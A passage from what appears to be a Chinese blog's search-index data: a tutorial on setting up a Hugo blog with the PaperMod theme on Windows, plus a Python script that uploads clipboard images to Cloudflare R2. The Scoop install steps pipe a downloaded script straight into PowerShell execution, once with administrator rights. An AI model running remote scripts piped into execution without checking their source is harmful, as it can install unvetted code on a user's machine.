令牌，然后进行下一步\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"为你的存储桶添加文件\"\u003e\u003cstrong\u003e为你的存储桶添加文件\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e因为 Web 界面传输文件较慢且不支持传输大于 300MB 的文件。这里使用本地部署 AList 然后连接你的 R2 存储桶实现高速上传\u003c/p\u003e","title":"Cloudflare R2+Workers！马上搭建自己的云上图床！"},{"content":"引言 曾经我写过一篇文章叫做：Fuwari静态博客搭建教程。\n文中的Fuwari是基于Astro的，并且使用了服务器+客户端的混合渲染，尽管UI确实好看，但因为本人不会写Astro导致日后维护特别困难（比如手动添加Giscus评论后和上游分支发生冲突需要手动解决冲突才能合并上游）。\n最后我放弃了，既然我就是菜我为什么不找一个原生使用HTML+JS+CSS的框架呢？\n于是我便询问AI，Claude推荐我使用Hugo。\n其实我早就曾听闻Hugo的大名，但是并没有深入研究，但是Claude又告诉我Hugo采用Go语言进行编译，速度快，而且想要二次开发也只需要改改我最熟悉的HTML+JS+CSS。\n于是我便花了2小时深入研究、部署、调优。发现Hugo确实很强大：迁移方便，二改简单，构建迅速\n正式开始 请全程在Windows上操作\n我们首先需要安装Scoop，这是一个适用于Windows的包管理器，个人认为非常好用\nScoop默认会安装到C盘，如果你想要换盘请按需更改\n$env:SCOOP=\u0026#39;D:\\Scoop\u0026#39; $env:SCOOP_GLOBAL=\u0026#39;D:\\ScoopApps\u0026#39; [Environment]::SetEnvironmentVariable(\u0026#39;SCOOP\u0026#39;, $env:SCOOP, \u0026#39;User\u0026#39;) [Environment]::SetEnvironmentVariable(\u0026#39;SCOOP_GLOBAL\u0026#39;, $env:SCOOP_GLOBAL, \u0026#39;Machine\u0026#39;) 安装Scoop：\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser Invoke-RestMethod -Uri https://get.scoop.sh | Invoke-Expression 如果你以管理员的身份会安装失败，请切换为普通用户。若想强制以管理员身份安装Scoop请使用\ngithub原帖\n出于安全考虑，默认情况下已禁用管理员控制台下的安装。如果您知道自己在做什么并希望以管理员身份安装Scoop，请下载安装程序并在提升的控制台中手动执行它，使用 -RunAsAdmin 参数。以下是示例：\nirm get.scoop.sh -outfile \u0026#39;install.ps1\u0026#39; .\\install.ps1 -RunAsAdmin [-OtherParameters ...] # 如果你想要一行解决： iex \u0026#34;\u0026amp; {$(irm get.scoop.sh)} -RunAsAdmin\u0026#34; 安装Hugo框架：\nscoop install hugo 然后选择一个你喜欢的文件夹创建你的站点。 myblog 即你的站点文件夹名称\nhugo new site myblog cd myblog 安装PaperMod主题：\ngit clone https://github.com/adityatelange/hugo-PaperMod.git themes/PaperMod 站点根目录会有一个 hugo.toml。我推荐使用YAML。将文件重命名为 hugo.yaml。粘贴并更改以下内容\nbaseURL: \u0026#34;https://站点url\u0026#34; title: \u0026#34;网站标题\u0026#34; LanguageCode: \u0026#34;zh-CN\u0026#34; theme: \u0026#34;PaperMod\u0026#34; # 启用首页个人简介展示 params: # 是否启用评论。你需要自己配置，或者直接引入Giscus等评论系统 comments: false # 是否显示代码复制按钮 ShowCodeCopyButtons: true # 是否显示面包屑导航 ShowBreadCrumbs: false # 是否显示阅读时间 ShowReadingTime: true # 是否显示分享按钮 ShowShareButtons: true # 分享按钮配置 # ShareButtons: [\u0026#34;linkedin\u0026#34;, \u0026#34;twitter\u0026#34;] # 是否禁用主题切换按钮 disableThemeToggle: false assets: favicon: \u0026#34;/你的/网站图标.webp\u0026#34; # 需要在static文件夹放置对应的图片 iconHeight: 35 # 首页信息配置 homeInfoParams: Title: \u0026#34;首页展示的标题\u0026#34; Content: \u0026gt; 首页展示的文本 # 设置网站头像和首页头像 profileMode: enabled: false # 设为 true 将完全替换 homeInfoParams # 网站头像设置 (显示在导航栏) label: text: \u0026#34;左上角显示的文本\u0026#34; icon: \u0026#34;/你的/左上角显示的图片.webp\u0026#34; # 这将显示在导航栏标题旁边。需要在static文件夹放置对应的图片 iconHeight: 35 # 社交图标 (显示在简介下方) socialIcons: - name: bilibili url: \u0026#34;\u0026#34; - name: github url: \u0026#34;\u0026#34; - name: telegram url: \u0026#34;\u0026#34; # 可以添加更多社交图标 https://github.com/adityatelange/hugo-PaperMod/wiki/Icons # 顶部导航栏的快捷链接 menu: main: - identifier: categories name: 分类 url: /categories/ weight: 10 - identifier: tags name: 标签 url: /tags/ weight: 20 - identifier: archives name: 归档 url: /archives/ weight: 30 - identifier: search name: 搜索 url: /search/ weight: 40 # 可以添加更多导航链接。weight的值越高排序越靠后 # 如果要启用搜索功能，需要添加这个 outputs: home: - HTML - RSS - JSON # 必须，用于搜索功能 然后我们需要分别配置分类、标签、归档和搜索页\n创建 content\\categories\\_index.md 写入：\n--- title: 分类 layout: categories --- 创建 content\\tags\\_index.md 写入：\n--- title: 标签 layout: tags --- 创建 content\\archives.md 写入：\n--- title: 归档 layout: archives --- 创建 content\\search.md 写入：\n--- title: \u0026#34;搜索\u0026#34; layout: \u0026#34;search\u0026#34; --- 然后我们要更改默认的文章创建模板\n在 archetypes\\default.md 写入：\n--- title: {{ replace .File.ContentBaseName \u0026#34;-\u0026#34; \u0026#34; \u0026#34; | title }} published: {{ .Date }} summary: \u0026#34;文章简介\u0026#34; cover: image: 文章封面图。也支持HTTPS tags: [标签1, 标签2] categories: \u0026#39;文章所处的分类\u0026#39; draft: false lang: \u0026#39;\u0026#39; --- 接下来我们就可以通过命令来创建文章，并开始写作了。注意，最终构建的文章URL是你的文章的文件名。比如：https://你的网站.com/posts/first 所以文章文件名尽量简短，这并不会影响你的文章标题\nhugo new posts/first.md 当我们写完一篇文章想要预览网站，可以使用\nhugo server 当我们想要将站点发布到Vercel、Cloudflare Pages等静态网站托管平台可以将我们的 myblog 作为一个Git存储库提交到Github\n根目录：./\n输出目录：public\n构建命令：hugo --gc\n环境变量： Key：HUGO_VERSION Value：0.145.0\n对象存储存图中间件代码： import keyboard import pyperclip from PIL import ImageGrab, Image import io import boto3 from botocore.config import Config import time import uuid import pyautogui import os from io import BytesIO # 示例配置 # # R2 配置 # R2_CONFIG = { # \u0026#39;account_id\u0026#39;: \u0026#39;11111111111111111\u0026#39;, # \u0026#39;access_key_id\u0026#39;: \u0026#39;11111111111111111\u0026#39;, # \u0026#39;secret_access_key\u0026#39;: \u0026#39;11111111111111111\u0026#39;, # \u0026#39;bucket_name\u0026#39;: \u0026#39;11111111111111111\u0026#39; # } # # OSS 配置 # OSS_CONFIG = { # \u0026#39;url\u0026#39;: \u0026#39;sb-eo-r2.2x.nz\u0026#39;, # \u0026#39;prefix\u0026#39;: \u0026#39;/fuwari-blog/img\u0026#39; # } ######################################################### # R2 配置 R2_CONFIG = { \u0026#39;account_id\u0026#39;: \u0026#39;\u0026#39;, \u0026#39;access_key_id\u0026#39;: \u0026#39;\u0026#39;, \u0026#39;secret_access_key\u0026#39;: \u0026#39;\u0026#39;, \u0026#39;bucket_name\u0026#39;: \u0026#39;\u0026#39; } # OSS 配置 OSS_CONFIG = { \u0026#39;url\u0026#39;: \u0026#39;\u0026#39;, \u0026#39;prefix\u0026#39;: \u0026#39;\u0026#39; } ######################################################### def init_r2_client(): \u0026#34;\u0026#34;\u0026#34;初始化 R2 客户端\u0026#34;\u0026#34;\u0026#34; return boto3.client( \u0026#39;s3\u0026#39;, endpoint_url=f\u0026#39;https://{R2_CONFIG[\u0026#34;account_id\u0026#34;]}.r2.cloudflarestorage.com\u0026#39;, aws_access_key_id=R2_CONFIG[\u0026#39;access_key_id\u0026#39;], aws_secret_access_key=R2_CONFIG[\u0026#39;secret_access_key\u0026#39;], config=Config(signature_version=\u0026#39;s3v4\u0026#39;), region_name=\u0026#39;auto\u0026#39; ) def get_image_from_clipboard(): \u0026#34;\u0026#34;\u0026#34;从剪贴板获取图片\u0026#34;\u0026#34;\u0026#34; try: image = ImageGrab.grabclipboard() if image is None: return None # 如果是列表（多个文件），取第一个 if isinstance(image, list): if len(image) \u0026gt; 0: # 如果是图片文件路径，打开它 try: return Image.open(image[0]) except Exception as e: print(f\u0026#34;打开图片文件失败: {e}\u0026#34;) return None return None # 如果直接是 Image 对象 if isinstance(image, Image.Image): return image return None except Exception as e: print(f\u0026#34;获取剪贴板图片失败: {e}\u0026#34;) return None def convert_to_webp(image): \u0026#34;\u0026#34;\u0026#34;将图片转换为 webp 格式\u0026#34;\u0026#34;\u0026#34; if not image: return None try: buffer = BytesIO() # 确保图片是 RGB 模式 if image.mode in (\u0026#39;RGBA\u0026#39;, \u0026#39;LA\u0026#39;): background = Image.new(\u0026#39;RGB\u0026#39;, image.size, (255, 255, 255)) background.paste(image, mask=image.split()[-1]) image = background elif image.mode != \u0026#39;RGB\u0026#39;: image = image.convert(\u0026#39;RGB\u0026#39;) image.save(buffer, format=\u0026#34;WEBP\u0026#34;, quality=80) return buffer.getvalue() except Exception as e: print(f\u0026#34;转换图片失败: {e}\u0026#34;) return None def upload_to_r2(image_data): \u0026#34;\u0026#34;\u0026#34;上传图片到 R2\u0026#34;\u0026#34;\u0026#34; if not image_data: return None client = init_r2_client() # 生成基础文件名 base_filename = f\u0026#34;{uuid.uuid4()}.webp\u0026#34; filename = base_filename try: # 检查文件是否已存在 attempt = 1 while True: try: # 尝试获取文件信息，如果文件存在会返回数据，不存在会抛出异常 client.head_object( Bucket=R2_CONFIG[\u0026#39;bucket_name\u0026#39;], Key=f\u0026#34;{OSS_CONFIG[\u0026#39;prefix\u0026#39;].strip(\u0026#39;/\u0026#39;)}/{filename}\u0026#34; ) # 如果文件存在，修改文件名 name_without_ext = base_filename.rsplit(\u0026#39;.\u0026#39;, 1)[0] filename = f\u0026#34;{name_without_ext}_{attempt}.webp\u0026#34; attempt += 1 print(f\u0026#34;文件名已存在，尝试重命名为: {filename}\u0026#34;) except client.exceptions.ClientError as e: # 如果是 404 错误，说明文件不存在，可以使用这个文件名 if e.response[\u0026#39;Error\u0026#39;][\u0026#39;Code\u0026#39;] == \u0026#39;404\u0026#39;: break raise e # 其他错误则抛出 # 上传文件 client.put_object( Bucket=R2_CONFIG[\u0026#39;bucket_name\u0026#39;], Key=f\u0026#34;{OSS_CONFIG[\u0026#39;prefix\u0026#39;].strip(\u0026#39;/\u0026#39;)}/{filename}\u0026#34;, Body=image_data, ContentType=\u0026#39;image/webp\u0026#39; ) return filename except Exception as e: print(f\u0026#34;上传失败: {e}\u0026#34;) return None def generate_markdown_link(filename): \u0026#34;\u0026#34;\u0026#34;生成 Markdown 图片链接\u0026#34;\u0026#34;\u0026#34; if not filename: return None url = f\u0026#34;https://{OSS_CONFIG[\u0026#39;url\u0026#39;]}{OSS_CONFIG[\u0026#39;prefix\u0026#39;]}/{filename}\u0026#34; return f\u0026#34;![]({url})\u0026#34; def type_markdown_link(markdown_link): \u0026#34;\u0026#34;\u0026#34;模拟键盘输入 Markdown 链接\u0026#34;\u0026#34;\u0026#34; if not markdown_link: return pyperclip.copy(markdown_link) pyautogui.hotkey(\u0026#39;ctrl\u0026#39;, \u0026#39;v\u0026#39;) def handle_upload(): \u0026#34;\u0026#34;\u0026#34;处理图片上传的主函数\u0026#34;\u0026#34;\u0026#34; print(f\u0026#34;\\n[{time.strftime(\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;)}] 收到粘贴请求\u0026#34;) print(\u0026#34;正在检查剪贴板...\u0026#34;) # 获取剪贴板图片 image = get_image_from_clipboard() if not image: print(\u0026#34;❌ 剪贴板中没有图片\u0026#34;) return print(\u0026#34;✅ 获取到剪贴板图片\u0026#34;) # 转换为 webp print(\u0026#34;正在转换为 WebP 格式...\u0026#34;) image_data = convert_to_webp(image) if not image_data: print(\u0026#34;❌ 图片转换失败\u0026#34;) return print(f\u0026#34;✅ 转换完成，大小: {len(image_data)/1024:.2f}KB\u0026#34;) # 上传到 R2 print(\u0026#34;正在上传到 R2...\u0026#34;) filename = upload_to_r2(image_data) if not filename: print(\u0026#34;❌ 上传失败\u0026#34;) return print(f\u0026#34;✅ 上传成功，文件名: {filename}\u0026#34;) # 生成并输入 Markdown 链接 markdown_link = generate_markdown_link(filename) if markdown_link: print(f\u0026#34;生成的 URL: https://{OSS_CONFIG[\u0026#39;url\u0026#39;]}{OSS_CONFIG[\u0026#39;prefix\u0026#39;]}/{filename}\u0026#34;) print(f\u0026#34;模拟键入: {markdown_link}\u0026#34;) type_markdown_link(markdown_link) print(\u0026#34;✅ 操作完成\u0026#34;) def main(): \u0026#34;\u0026#34;\u0026#34;主函数\u0026#34;\u0026#34;\u0026#34; print(\u0026#34;=\u0026#34; * 50) print(\u0026#34;R2 图片上传插件已启动\u0026#34;) print(f\u0026#34;当前配置:\u0026#34;) print(f\u0026#34;- OSS 域名: {OSS_CONFIG[\u0026#39;url\u0026#39;]}\u0026#34;) print(f\u0026#34;- 存储路径: {OSS_CONFIG[\u0026#39;prefix\u0026#39;]}\u0026#34;) print(f\u0026#34;- R2 存储桶: {R2_CONFIG[\u0026#39;bucket_name\u0026#39;]}\u0026#34;) print(\u0026#34;使用 Ctrl+Alt+V 上传剪贴板中的图片\u0026#34;) print(\u0026#34;=\u0026#34; * 50) # 注册快捷键 keyboard.add_hotkey(\u0026#39;ctrl+alt+v\u0026#39;, handle_upload) # 保持程序运行 keyboard.wait() if __name__ == \u0026#34;__main__\u0026#34;: main() ","permalink":"https://blog.2x.nz/posts/hugo/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e曾经我写过一篇文章叫做：\u003ca href=\"/posts/fuwari/\"\u003eFuwari静态博客搭建教程\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e文中的\u003ca href=\"https://github.com/saicaca/fuwari\"\u003eFuwari\u003c/a\u003e是基于Astro的，并且使用了服务器+客户端的混合渲染，尽管UI确实好看，但因为本人不会写Astro导致日后维护特别困难（比如手动添加Giscus评论后和上游分支发生冲突需要手动解决冲突才能合并上游）。\u003c/p\u003e\n\u003cp\u003e最后我放弃了，既然我就是菜我为什么不找一个原生使用HTML+JS+CSS的框架呢？\u003c/p\u003e\n\u003cp\u003e于是我便询问AI，Claude推荐我使用Hugo。\u003c/p\u003e\n\u003cp\u003e其实我早就曾听闻Hugo的大名，但是并没有深入研究，但是Claude又告诉我Hugo采用Go语言进行编译，速度快，而且想要二次开发也只需要改改我最熟悉的HTML+JS+CSS。\u003c/p\u003e\n\u003cp\u003e于是我便花了2小时深入研究、部署、调优。发现Hugo确实很强大：迁移方便，二改简单，构建迅速\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e请全程在Windows上操作\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e我们首先需要安装Scoop，这是一个适用于Windows的包管理器，个人认为非常好用\u003c/p\u003e\n\u003cp\u003eScoop默认会安装到C盘，如果你想要换盘请按需更改\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$env:SCOOP=\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;D:\\Scoop\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$env:SCOOP_GLOBAL=\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;D:\\ScoopApps\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#66d9ef\"\u003eEnvironment\u003c/span\u003e]::SetEnvironmentVariable(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;SCOOP\u0026#39;\u003c/span\u003e, $env:SCOOP, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;User\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#66d9ef\"\u003eEnvironment\u003c/span\u003e]::SetEnvironmentVariable(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;SCOOP_GLOBAL\u0026#39;\u003c/span\u003e, $env:SCOOP_GLOBAL, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Machine\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安装Scoop：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSet-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInvoke-RestMethod -Uri https\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e:\u003c/span\u003e//get.scoop.sh | Invoke-Expression\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果你以管理员的身份会安装失败，请切换为普通用户。若想强制以管理员身份安装Scoop请使用\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/ScoopInstaller/Install#for-admin\"\u003egithub原帖\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e出于安全考虑，默认情况下已禁用管理员控制台下的安装。如果您知道自己在做什么并希望以管理员身份安装Scoop，请下载安装程序并在提升的控制台中手动执行它，使用 \u003ccode\u003e-RunAsAdmin\u003c/code\u003e 参数。以下是示例：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eirm get.scoop.sh -outfile \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;install.ps1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\\install.ps1 -RunAsAdmin [-OtherParameters ...]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 如果你想要一行解决：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiex \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026amp; {\u003c/span\u003e$(irm get.scoop.sh)\u003cspan style=\"color:#e6db74\"\u003e} -RunAsAdmin\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安装Hugo框架：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003escoop install hugo\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后选择一个你喜欢的文件夹创建你的站点。 \u003ccode\u003emyblog\u003c/code\u003e 即你的站点文件夹名称\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehugo new site myblog\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd myblog\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安装PaperMod主题：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit clone https://github.com/adityatelange/hugo-PaperMod.git themes/PaperMod\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e站点根目录会有一个 \u003ccode\u003ehugo.toml\u003c/code\u003e。我推荐使用YAML。将文件重命名为 \u003ccode\u003ehugo.yaml\u003c/code\u003e。粘贴并更改以下内容\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ebaseURL\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://站点url\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;网站标题\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eLanguageCode\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;zh-CN\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003etheme\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;PaperMod\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 启用首页个人简介展示\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparams\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 是否启用评论。你需要自己配置，或者直接引入Giscus等评论系统\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ecomments\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 是否显示代码复制按钮\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eShowCodeCopyButtons\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 是否显示面包屑导航\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eShowBreadCrumbs\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 是否显示阅读时间  \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eShowReadingTime\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 是否显示分享按钮\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eShowShareButtons\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 分享按钮配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# ShareButtons: [\u0026#34;linkedin\u0026#34;, \u0026#34;twitter\u0026#34;]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 是否禁用主题切换按钮\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisableThemeToggle\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eassets\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003efavicon\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/你的/网站图标.webp\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 需要在static文件夹放置对应的图片\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eiconHeight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e35\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 首页信息配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ehomeInfoParams\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eTitle\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;首页展示的标题\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eContent\u003c/span\u003e: \u0026gt;\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      首页展示的文本\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 设置网站头像和首页头像\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eprofileMode\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 设为 true 将完全替换 homeInfoParams\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 网站头像设置 (显示在导航栏)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003elabel\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etext\u003c/span\u003e: \u003cspan 